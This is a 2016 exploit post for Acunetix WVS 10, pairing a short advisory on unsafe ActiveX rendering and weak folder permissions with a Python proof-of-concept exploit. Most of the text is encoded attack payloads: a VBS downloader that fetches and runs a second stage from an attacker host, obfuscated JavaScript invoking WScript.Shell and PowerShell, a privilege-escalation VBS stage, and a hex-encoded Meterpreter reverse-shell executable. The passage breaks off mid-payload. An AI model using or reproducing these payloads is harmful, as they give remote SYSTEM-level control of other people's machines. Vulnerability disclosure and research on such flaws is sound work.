Acunetix WVS 10 – Remote command execution SYSTEM privilege
没穿底裤发表于 2016-05-03 05:32:07
– Author: Daniele Linguaglossa
Overview
=========
Acunetix WVS 10 [1] is an enterprise web vulnerability scanner developer by Acunetix Inc.
Two major flaws exists in the last version of Acunetix, these bug allow a remote attacker,
to execute command in the context of application with SYSTEM privilege.
Details
==========
A first flaw exists in the way Acunetix render some html elements inside gui, in fact it
uses jscript.dll without any concert about unsafe ActiveX object such as WScript.shell.
If acunetix trigger a vulnerability during a scan session it saves a local html with the
content of html page, so is possibile to trigger a fake vulnerability and insert a js
which trigger the remote command execution.
The second flaw it’s about the Acunetix scheduler [2], the scheduler just allow to scan
websites programmatically without any user interaction, is possible to schedule scan
via the web interface on 127.0.0.1:8183 .
like any scan Acunetix, will perform some tests on the targeted Host before real scan,
these test are executed upon some script into folder
C:ProgramDataAcunetix WVS 10DataScripts
icacls show a bad privileges in this folder, so any user (even guest) will be able to
replace these custom checks with own ones (Remember first flaw with jscript.dll) 
C:ProgramDataAcunetix WVS 10Data>icacls Scripts
Scripts Everyone:(OI)(CI)(M)
Everyone:(I)(OI)(CI)(M)
NT AUTHORITYSYSTEM:(I)(OI)(CI)(F)
BUILTINAdministrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTINUsers:(I)(OI)(CI)(RX)
BUILTINUsers:(I)(CI)(WD,AD,WEA,WA) <—- UNSAFE [3]
Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file
C:ProgramDataAcunetix WVS 10Data>
With this two flaws in mind i wrote a small exploit which is able to obtain RCE via
a meterpreter shell, anyway there are some requirement:
1) Target must have VBS script interpreter
2) Target must have the scheduler service
3) Target must be Windows
Exploit
==========
https://github.com/dzonerzy/acunetix_0day
https://www.youtube.com/watch?v=gWcRlam59Fs (video proof)
Solution
==========
Jscript should be used with limited ActiveX, and permission on C:ProgramDataAcunetix WVS 10Data
must be fixed!
Footnotes
_________
[1] http://www.acunetix.com/
[2] http://www.acunetix.com/support/docs/wvs/scheduling-scans/
[3] https://support.microsoft.com/it-it/kb/919240
”’
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Acunetix 0day SYSTEM Remote Command Execution by Daniele Linguaglossa
This PoC exploit 2 vulnerability in Acunetix core , the first one is a RCE (Remote Command Exec) and the second one is
a LPE (Local Privilege Escalation).
All credits for this exploit goes to Daniele Linguaglossa
"""
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from random import randint
from threading import Thread
from time import sleep
import binascii
import sys
import base64
import os
server = None
def gen_random_name(size):
alphabet = "abcdefghilmnopqrstuvzABCDEFGHILMNOPQRSTUVZ0123456789"
name = ""
for i in range(0, size):
name += alphabet[randint(0, len(alphabet) - 1)]
return name + ".vbs"
def ip2b(ip):
return "".join(binascii.hexlify(chr(int(t))) for t in ip.split("."))
def postexploitation():
print "[*] Sleeping 1 minutes to elevate privileges...ZzZz"
sleep(70) # 2 minutes
global server
print "[!] Stopping server !"
server.shutdown()
print "[!] Exploit successful wait for session!"
# param URL,FILENAME
PAYLOAD_DOWNLOAD_EXEC = "dHNraWxsIHd2cw0KJGE9JycnDQogU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl"
"Y3QiKQ0KIFNldCB3c2hTaGVsbCA9IENyZWF0ZU9iamVjdCggIldTY3JpcHQuU2hlbGwiICkNCiBTZXQgT3V0cCA9IFdz"
"Y3JpcHQuU3Rkb3V0DQogU2V0IEZpbGUgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKQ0K"
"IEZpbGUuT3BlbiAiR0VUIiwgImh0dHA6Ly8lcy9zdGFnZTIiLCBGYWxzZQ0KIE15RmlsZSA9IHdzaFNoZWxsLkV4cGFu"
"ZEVudmlyb25tZW50U3RyaW5ncyggIiVzIiApKyJcJXMiDQogRmlsZS5TZW5kDQogU2V0IEJTID0gQ3JlYXRlT2JqZWN0"
"KCJBRE9EQi5TdHJlYW0iKQ0KIEJTLnR5cGUgPSAxDQogQlMub3Blbg0KIEJTLldyaXRlIEZpbGUuUmVzcG9uc2VCb2R5"
"DQogQlMuU2F2ZVRvRmlsZSBNeUZpbGUsIDINCiB3c2hTaGVsbC5ydW4gIndzY3JpcHQgIitNeUZpbGUNCiBmc28uRGVs"
"ZXRlRmlsZShXc2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KICcnJw0KICRwdGggPSAoZ2V0LWl0ZW0gZW52OlRFTVApLlZh"
"bHVlKyJcc3RhZ2VyLnZicyI7DQogZWNobyAkYSA+ICRwdGgNCiB3c2NyaXB0ICRwdGg="
# param connect back IP
PAYLOAD_METERPETRER = "4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000000000"
"0000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6"
"e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300e4fb66ef000"
"0000000000000e0000f030b01023800020000000e000000000000001000000010000000200000000040000010000000"
"020000040000000100000004000000000000000040000000020000463a0000020000000000200000100000000010000"
"0100000000000001000000000000000000000000030000064000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e7"
"465787400000028000000001000000002000000020000000000000000000000000000200030602e64617461000000"
"900a000000200000000c000000040000000000000000000000000000200030e02e6964617461000064000000003000"
"000002000000100000000000000000000000000000400030c000000000000000000000000000000000b800204000ff"
"e090ff253830400090900000000000000000ffffffff00000000ffffffff0000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000009090909090909090909090"
"90909090909090909090909090909090909033c0680810400064ff30648920fce8820000006089e531c0648b50308b"
"520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b59"
"2001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581"
"c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89"
"001000029c454506829806b00ffd56a0568%s680200115c89e6505050504050405068ea0fdfe0ffd5976a105657689"
"9a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a4068001000005"
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"56e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5190f4da8a063058eceb8f7b69074c"
"4e814a3cae54e8172c60ead9604f2e86b0522895f543ebf148fad021d6146ace15f4ae3dbf55185e896fcaede21b0f"
"db55831cbcfb72949f584986c13ebc8dd35971d7cee480354c83bf909ab61c53b4412733e4cd8dc788890915d41c0b"
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"e32fb6335cdda22e19e64fde514b779dc932bb8249f8d8f260fd457b719980bb069a1ed560e2c74d85182c3aacd499"
"df5dab0e0a0cee9e1da02cff7b89aac3f99de68badc83c9acf3c7518cf1578a58c131e1f3f36d393a7da0979f48115"
"9d687cd9e3d5bc9fe3d34b9c7aa362be497402f21045d1aa7b871e773facc169649d8f64c0ac91d2feb85063169af8"
"87973643f41f9b5c38b01cb2eb327e17d1d0f7f5e8693022c729f69b83723df61b9617f533cf919740edbb92ca86f9"
"f1db8cdf696531559d41193f2356414df49a8e22790a7cb174079b5273c485e252296d690796649048410e29fc8a4d"
"3d3384a98beb5bca12574510183cbaa49f1eee2e7712df55312a40c18e636efe4e7066034e50060e3dcfc5354dc9d9"
"4b570a97d0b47eadc715effc165f9660797fc3ed75d5940262419d75ea5670a029774fa83b5818a7d46a9764de62be"
"e019444d30589d5d778499aaa0b3d10e7897d26fc5e446eb358c7067df52636d8a2ba7340f40e0c263522bb494500d"
"c73585ee9208e29ac7cdf591316712f1624116dc48ebe2c9fa5743e1e4519f82b8be65db56c09e6ef563286050decd"
"f9b327481b045b2073ea4e52ba5c6bb066c2f02709effd1db019cba7b8b682f16749d12ca8c89230edbbecfd59bf51"
"11ea1e6c9ed24ec62bcc37bff84195329a97a41354be5f297dd0edc868edbd35c528f79b9debf6a132b0ee1c140151"
"a90f0c6145149b01e6f55b7e6cc24f015a0f98627fee12834bcf368458827c4c824b1968aa4df58188c5909a95df1f"
"288c88326ee731d240159bba27397cc8b0fe4995ac6445a9033279af56f156d22416b8915f5b64a1acca60e4c1c6b8"
"f33af7431ed674bd62b6b26613cad5f9c9d395c95ee9acc56aacd0f4ea4e198fb6e061d012c91ffa99ecdc1510099f"
"8a4d4fc45273e6687be92c729b719692bb5e197083c4f4b77a1df988cd81141686743fe0e1ace050dec96c0fd8d75e"
"7182ea3cfc0f13c5cf804a8264c67166495837b6da837bb7e382527f63db2f94c75af6c855162aeb3b8a2c362819b9"
"b1d586db76faa0c06346149d2c88379cf186e36056669d4e7cc433cb8205dd0d058c2f6ae74111eeaa6a5883b14e74"
"482d130a665e53b6e89020d600be481779ee7b97631b897608d6933c65fcfc4f630dabe2d0dbad0af7c614d81b679d"
"619ce6a7eefbf94664a40e4772f540dc1964a979f4c25e125844c2a7075f6a6f5fae46dada35d3e83f82d03f87b11e"
"cfb4bf6636d727cf99dae040b8dd3c7abcdb98eabb7e71b56348ce6a3c635299efebc81690288bbab0f6cad2ebfd2a"
"a3d7aa74724b97be8ff3f360017970203ed71039a06799828f0455620fe432ef1dbb79cb87478c6d67e177fa72cbc0"
"c1422a65197e33ee6a4b314992beb18cbaa3bcd00f43cc2749ed61c8d8cb38f512bee5bdb4d4574c0c56b91da064bd"
"5c358dab92d2431b3c90938b4d0ec9661c2e9c98942585466ff7f0a7a5b5b56d825673b46966750cedce33eb0de118"
"c5c4211b1bfc6d297d5d48205ac40a8f47b78988807fa9d312465c1c080b158c01267965e443de442716d3fe8ac029"
"7640ef6d5632eaa784cf2b2b7a884d0589c93d69f8f8d7c6dc2b75a0825c0c5e892268cf3af3843004dc68dd05d367"
"6ac0b218d9adc3ecca734fe7fa61de3272584ed349fffa669175cd8a873b72b7dce3cb4a8e8afa8ddbba2039219220"
"6e9dc808a2ac3f2b6909e71321437b8979f26b9a8bda1fde661229544cb34ebc3ce7a4e0c05d340ba65457c67c3d61"
"5d249af5d333ab3894045480fa8bb3b6c75a41ed9dd00ec8367c68cd41b2b03caa30fc527a00d94b3c25620813ac9d"
"522e6e86cfee45a4f711171ec17f167abc0c4abb6c80de587bb790a1f83b9428d8380832a8216a6b8ea47cac624a24"
"ca171c95ebb6d81bd7676eff464d56436d32b66bb3d190e44e66beb412bd7d5d8978d7e0e93bb0e9f08944a6c45b4a"
"b5e493e0dd1491352d8078b0a3bae30bc2c145bc4e5f9dfd9b457d5dd8ff9c635031b02e7f3b8927b09460b983883a"
"dbb42bdff6f8c017b5096ce7d5a72ab620504be21555aa86871ee9e4887657b8e72d8813b429428596839d00c3e44f"
"fe5297ce95fc340278d1d805370c54f64615db34797f523f0a4cd2523d10d1a1b62146051db23668bc482d802b66bf"
"962f511ec6af7204cbb8d474204bf5c9e52ce0cfbd6298cf96f619a5d64827ba3284b25135965a9062f3cd7eb93745"
"390e9cc983c9a54ec731699bbda53958382cbb2e2ecd3247b18e5c3d64755c0d1e112e8375b5795afdfee8b69879c8"
"6597f79b6df2624dbe59557e8d13918c2d28c91c3a4f49a8682b62648259d118ffa02b2218efa031b45fd54c0b8d14"
"23d494b0a5da8e97ec345e17f9db32e9bec5cbcc36357b4ba8e7b8ccddc192d360d99a1e805dedc0ecadca15a0334f"
"680b0a9e91e12698ba69d27d86b2394c3d91682194ba312e8aef801a9ebc8722af9e8bd1180c0eed3137bfe109b06c"
"a442777eae4e1a145302152777da0a0a1decef0e0c73f2709cdb61360961eb1fc47cec9a893b9a8b2ec9f5a7fcce3e"
"178b459a54d9c5e40c6aada77896a7ee9054324019fe61e954c60dfd7bc895011c951e09fc195e779b71fc33833cdb"
"a5fe76ceb9a7b6ba5a39ed2e80c5d91b15cef0e1f5cb956b90e6db947fa45a4ae0e668b72a056dd29ea81c8b3aa126"
"b35d40c6dfa042cbd19c42b7ef44e6ef7b35952dbc796097530a04a71a3c116e99bf4a4ae8199685cc7e1e9f03a1ce"
"a8eb6d579e1e2ae0800000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
"00000002c3000000000000000000000543000003830000000000000000000000000000000000000000000000000000"
"040300000000000000000000040300000000000009c004578697450726f63657373000000003000004b45524e454c3"
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"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
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# param CMD => PAYLOAD_DOWNLOAD_EXEC
EXPLOIT_STAGE_1 = "PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQ+d2luZG93LmFsZXJ0ID0genl4O3dpbmRvdy5wcm9tcHQgPSB6eXg7d"
"2luZG93LmNvbmZpcm0gPSB6eXg7d2luZG93LmNhbGxlZCA9IDA7ZnVuY3Rpb24genl4KCl7d2luZG93LmNhbGxlZCA9IDE7dm"
"FyIHh5ej0iJXMiO2V2YWwoZnVuY3Rpb24ocCxhLGMsayxlLGQpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuIGMudG9TdHJpbmcoMzY"
"pfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXtkW2MudG9TdHJpbmcoYSldPWtbY118fGMudG9TdHJp"
"bmcoYSl9az1bZnVuY3Rpb24oZSl7cmV0dXJuIGRbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcdysnfTtjPTF9O3doaWxlK"
"GMtLSl7aWYoa1tjXSl7cD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSl9fXJldHVybi"
"BwfSgnNSAwPTYgNCgiMy4xIik7MC4yKFwnNyAvOCBkIC9lICIiICJjIiAtYiA5IC1hICJmIlwnKTsnLDE2LDE2LCdceDczXHg"
"2OFx4NjVceDZjXHg2Y3xceDUzXHg2OFx4NjVceDZjXHg2Y3xceDcyXHg3NVx4NmV8XHg1N1x4NTNceDYzXHg3Mlx4NjlceDcw"
"XHg3NHxceDQxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDU4XHg0Zlx4NjJceDZhXHg2NVx4NjNceDc0fHZhcnxuZXd8XHg2M1x4N"
"mRceDY0fEN8Tm9ybWFsfFx4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NjRceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0fH"
"dpbmRvd1x4NzNceDc0XHg3OVx4NmNceDY1fFx4NzBceDZmXHg3N1x4NjVceDcyXHg3M1x4NjhceDY1XHg2Y1x4NmN8XHg3M1x"
"4NzRceDQxXHg1Mlx4NzR8QnwkJCcucmVwbGFjZSgiJCQiLHh5eikuc3BsaXQoJ3wnKSwwLHt9KSk7ZG9jdW1lbnQuYm9keS5p"
"bm5lckhUTUw9JzQwNCBOb3QgZm91bmQnO308L3NjcmlwdD4lczxzY3JpcHQ+aWYgKHdpbmRvdy5jYWxsZWQgPT0gMCl7enl4K"
"Ck7fTwvc2NyaXB0PjwvYm9keT48L2h0bWw+"
LOGIN_FORM = "PHN0eWxlPg0KYm9keXsNCiAgbWFyZ2luOiAwcHg7DQogIHBhZGRpbmc6IDBweDsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCn0NCg"
"0KaDF7DQogIGNvbG9yOiAjZmZmOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIGZvbnQtZmFtaWx5OiBBcmlhbDsNCiAgZm9udC13Z"
"WlnaHQ6IG5vcm1hbDsNCiAgbWFyZ2luOiAyZW0gYXV0byAwcHg7DQp9DQoub3V0ZXItc2NyZWVuew0KICBiYWNrZ3JvdW5kOiAjMTMy"
"MDJjOw0KICB3aWR0aDogOTAwcHg7DQogIGhlaWdodDogNTQwcHg7DQogIG1hcmdpbjogNTBweCBhdXRvOw0KICBib3JkZXItcmFkaXV"
"zOiAyMHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDIwcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMjBweDsNCiAgcG9zaXR"
"pb246IHJlbGF0aXZlOw0KICBwYWRkaW5nLXRvcDogMzVweDsNCn0NCg0KLm91dGVyLXNjcmVlbjpiZWZvcmV7DQogIGNvbnRlbnQ6IC"
"IiOw0KICBiYWNrZ3JvdW5kOiAjM2U0YTUzOw0KICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogI"
"GJvdHRvbTogMjBweDsNCiAgbGVmdDogMHB4Ow0KICByaWdodDogMHB4Ow0KICBtYXJnaW46IGF1dG87DQogIHotaW5kZXg6IDk5OTk"
"7DQogIHdpZHRoOiA1MHB4Ow0KICBoZWlnaHQ6IDUwcHg7DQp9DQoub3V0ZXItc2NyZWVuOmFmdGVyew0KICBjb250ZW50OiAiIjsNCi"
"AgYmFja2dyb3VuZDogI2VjZjBmMTsNCiAgd2lkdGg6IDkwMHB4Ow0KICBoZWlnaHQ6IDg4cHg7DQogIHBvc2l0aW9uOiBhYnNvbHV0Z"
"TsNCiAgYm90dG9tOiAwcHg7DQogIGJvcmRlci1yYWRpdXM6IDBweCAwcHggMjBweCAyMHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6"
"IDBweCAwcHggMjBweCAyMHB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDBweCAwcHggMjBweCAyMHB4Ow0KfQ0KDQouc3RhbmR"
"7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsgIA0KfQ0KDQouc3RhbmQ6YmVmb3Jlew0KICBjb250ZW50OiAiIjsNCiAgcG9zaXRpb246IG"
"Fic29sdXRlOw0KICBib3R0b206IC0xNTBweDsNCiAgYm9yZGVyLWJvdHRvbTogMTUwcHggc29saWQgI2JkYzNjNzsNCiAgYm9yZGVyL"
"WxlZnQ6IDMwcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGJvcmRlci1yaWdodDogMzBweCBzb2xpZCB0cmFuc3BhcmVudDsNCiAgd2lkd"
"Gg6IDIwMHB4Ow0KICBsZWZ0OiAwcHg7DQogIHJpZ2h0OiAwcHg7DQogIG1hcmdpbjogYXV0bzsNCn0NCg0KLnN0YW5kOmFmdGVyew0K"
"ICBjb250ZW50OiAiIjsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICB3aWR0aDogMjYwcHg7DQogIGxlZnQ6IDBweDsNCiAgcmlnaHQ6"
"IDBweDsNCiAgbWFyZ2luOiBhdXRvOw0KICBib3JkZXItYm90dG9tOiAzMHB4IHNvbGlkICNiZGMzYzc7DQogIGJvcmRlci1sZWZ0OiA"
"zMHB4IHNvbGlkIHRyYW5zcGFyZW50Ow0KICBib3JkZXItcmlnaHQ6IDMwcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGJvdHRvbTogLT"
"E4MHB4Ow0KICBib3gtc2hhZG93OiAwcHggNHB4IDBweCAjN2U3ZTdlDQp9DQoNCi5pbm5lci1zY3JlZW57DQogIHdpZHRoOiA4MDBwe"
"DsNCiAgaGVpZ2h0OiAzNDBweDsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCiAgbWFyZ2luOiAwcHggYXV0bzsNCiAgcGFkZGluZy10"
"b3A6IDgwcHg7DQp9DQoNCi5mb3Jtew0KICB3aWR0aDogNDAwcHg7DQogIGhlaWdodDogMjMwcHg7DQogIGJhY2tncm91bmQ6ICNlZGV"
"mZjE7DQogIG1hcmdpbjogMHB4IGF1dG87DQogIHBhZGRpbmctdG9wOiAyMHB4Ow0KICBib3JkZXItcmFkaXVzOiAxMHB4Ow0KICAtbW"
"96LWJvcmRlci1yYWRpdXM6IDEwcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMTBweDsNCn0NCg0KaW5wdXRbdHlwZT0idGV4d"
"CJdew0KICBkaXNwbGF5OiBibG9jazsNCiAgd2lkdGg6IDMwOXB4Ow0KICBoZWlnaHQ6IDM1cHg7DQogIG1hcmdpbjogMTVweCBhdXRv"
"Ow0KICBiYWNrZ3JvdW5kOiAjZmZmOw0KICBib3JkZXI6IDBweDsNCiAgcGFkZGluZzogNXB4Ow0KICBmb250LXNpemU6IDE2cHg7DQo"
"gICBib3JkZXI6IDJweCBzb2xpZCAjZmZmOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICBib3JkZXItcmFkaXVzOiA1cH"
"g7DQogIC1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsNCn0NCg0KaW5wdXRbdHlwZ"
"T0idGV4dCJdOmZvY3Vzew0KICBib3JkZXI6IDJweCBzb2xpZCAjMWFiYzlkDQp9DQoNCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBk"
"aXNwbGF5OiBibG9jazsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCiAgd2lkdGg6IDMxNHB4Ow0KICBwYWRkaW5nOiAxMnB4Ow0KICB"
"jdXJzb3I6IHBvaW50ZXI7DQogIGNvbG9yOiAjZmZmOw0KICBib3JkZXI6IDBweDsNCiAgbWFyZ2luOiBhdXRvOw0KICBib3JkZXItcm"
"FkaXVzOiA1cHg7DQogIC1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsNCiAgZm9u"
"dC1zaXplOiAxN3B4Ow0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KfQ0KDQppbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlcnsN"
"CiAgYmFja2dyb3VuZDogIzA5Y2NhNg0KfQ0KDQphew0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIGZvbnQtZmFtaWx5OiBBcmlhbDs"
"NCiAgY29sb3I6IGdyYXk7DQogIGRpc3BsYXk6IGJsb2NrOw0KICBtYXJnaW46IDE1cHggYXV0bzsNCiAgdGV4dC1kZWNvcmF0aW9uOi"
"Bub25lOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICBmb250LXNpemU6IDEycHg7DQp9DQoNCmE6aG92ZXJ7DQogIGNvb"
"G9yOiAjMWFiYzlkOw0KfQ0KDQoNCjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7DQogICBjb2xvcjogZ3JheTsNCn0NCg0KOi1"
"tb3otcGxhY2Vob2xkZXIgeyAvKiBGaXJlZm94IDE4LSAqLw0KICAgY29sb3I6IGdyYXk7ICANCn0NCg0KOjotbW96LXBsYWNlaG9sZG"
"VyIHsgIC8qIEZpcmVmb3ggMTkrICovDQogICBjb2xvcjogZ3JheTsgIA0KfQ0KDQo6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHsgIA0KI"
"CAgY29sb3I6IGdyYXk7ICANCn0NCjwvc3R5bGU+DQo8aDE+QWRtaW4gcGFuZWw8L2gxPg0KPGRpdiBjbGFzcz0ic3RhbmQiPg0KICA8"
"ZGl2IGNsYXNzPSJvdXRlci1zY3JlZW4iPg0KICAgIDxkaXYgY2xhc3M9ImlubmVyLXNjcmVlbiI+DQogICAgICA8ZGl2IGNsYXNzPSJ"
"mb3JtIj4NCiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIvbG9naW4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dC"
"IgbmFtZT0idXNyIiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwd2QiI"
"HBsYWNlaG9sZGVyPSJQYXNzd29yZCIgLz4NCiAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgLz4NCiAg"
"ICAgICAgIDwvZm9ybT4NCiAgICAgICAgPGEgaHJlZj0iL2ZvcmdvdCI+TG9zdCB5b3VyIHBhc3N3b3JkPzwvYT4NCiAgICAgIDwvZGl"
"2PiANCiAgICA8L2Rpdj4gDQogIDwvZGl2PiANCjwvZGl2Pg=="
# param NO
EXPLOIT_STAGE_2 = "U2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KRnVuY3Rpb24gRXNjYWxhdGVBbm"
"RFeGVjdXRlKCkNCiAgYmluZCA9ICJTZXQgb2JqID0gQ3JlYXRlT2JqZWN0KCIiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q"
"iIikiICYgdmJjcmxmICZfDQogICJvYmouRGVsZXRlRmlsZSgiIkM6XFByb2dyYW1EYXRhXEFjdW5ldGl4IFdWUyAxMFxEYXRhX"
"FNjcmlwdHNcUGVyU2VydmVyXEFKUF9BdWRpdC5zY3JpcHQiIikiICYgdmJjcmxmICZfDQogICAib2JqLk1vdmVGaWxlICIiQzp"
"cUHJvZ3JhbURhdGFcQWN1bmV0aXggV1ZTIDEwXERhdGFcU2NyaXB0c1xQZXJTZXJ2ZXJcQUpQX0F1ZGl0LnNjcmlwdC5iYWsiI"
"iwgIiJDOlxQcm9ncmFtRGF0YVxBY3VuZXRpeCBXVlMgMTBcRGF0YVxTY3JpcHRzXFBlclNlcnZlclxBSlBfQXVkaXQuc2NyaXB"
"0IiIgIiAmIHZiY3JsZiAmXw0KICAiRnVuY3Rpb24gUkVPbnJZSmUoKSIgJiB2YmNybGYgJl8NCiAgIk5tU1ROUFVyb0lLdFRxID"
"0gIiIlcyIiIiAmIHZiY3JsZiAmXw0KICAiRGltIGdVdERzem1uR050IiAmIHZiQ3JsZiAmXw0KICAiU2V0IGdVdERzem1uR050I"
"D0gQ3JlYXRlT2JqZWN0KCIiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiIikiICYgdmJjcmxmICZfDQogICJEaW0gaE1XRkN"
"6dUciICYgdmJjcmxmICZfDQogICJEaW0gZXJtbVRDalJ4SWpjWEciICYgdmJjcmxmICZfDQogICJEaW0ga0xrdVdOYnhuTFVIe"
"HR6IiAmIHZiY3JsZiAmXw0KICAiRGltIHJDUWNUekFBalJ4dSIgJiB2YmNybGYgJl8NCiAgIlNldCBlcm1tVENqUnhJamNYRyA"
"9IGdVdERzem1uR050LkdldFNwZWNpYWxGb2xkZXIoMikiICYgdmJjcmxmICZfDQogICJyQ1FjVHpBQWpSeHUgPSBlcm1tVENqU"
"nhJamNYRyAmICIiXCIiICYgZ1V0RHN6bW5HTnQuR2V0VGVtcE5hbWUoKSIgJiB2YmNybGYgJl8NCiAgImdVdERzem1uR050LkN"
"yZWF0ZUZvbGRlcihyQ1FjVHpBQWpSeHUpIiAmIHZiY3JsZiAmXw0KICAia0xrdVdOYnhuTFVIeHR6ID0gckNRY1R6QUFqUnh1I"
"CYgIiJcIiIgJiAiIk5ObWxmVmhqYld3emNqLmV4ZSIiIiAmIHZiY3JsZiAmXw0KICAiU2V0IGhNV0ZDenVHID0gZ1V0RHN6bW5"
"HTnQuQ3JlYXRlVGV4dEZpbGUoa0xrdVdOYnhuTFVIeHR6LCB0cnVlICwgZmFsc2UpICIgJiB2YmNybGYgJl8NCiAgIkZvciBpI"
"D0gMSB0byBMZW4oTm1TVE5QVXJvSUt0VHEpIFN0ZXAgMiIgJiB2YmNybGYgJl8NCiAgIiAgICBoTVdGQ3p1Ry5Xcml0ZSBDaHI"
"oQ0xuZygiIiZIIiIgJiBNaWQoTm1TVE5QVXJvSUt0VHEsaSwyKSkpIiAmIHZiY3JsZiAmXw0KICAiTmV4dCIgJiB2YmNybGYgJ"
"l8NCiAgImhNV0ZDenVHLkNsb3NlIiAmIHZiY3JsZiAmXw0KICAiRGltIHlFU3pGdUlNb211IiAmIHZiY3JsZiAmXw0KICAiU2V"
"0IHlFU3pGdUlNb211ID0gQ3JlYXRlT2JqZWN0KCIiV3NjcmlwdC5TaGVsbCIiKSIgJiB2YmNybGYgJl8NCiAgInlFU3pGdUlNb"
"211LnJ1biBrTGt1V05ieG5MVUh4dHoiICYgdmJjcmxmICZfDQogICInZ1V0RHN6bW5HTnQuRGVsZXRlRmlsZShrTGt1V05ieG5"
"MVUh4dHopIiAmIHZiY3JsZiAmXw0KICAiJ2dVdERzem1uR050LkRlbGV0ZUZvbGRlcihyQ1FjVHpBQWpSeHUpIiAmIHZiY3JsZ"
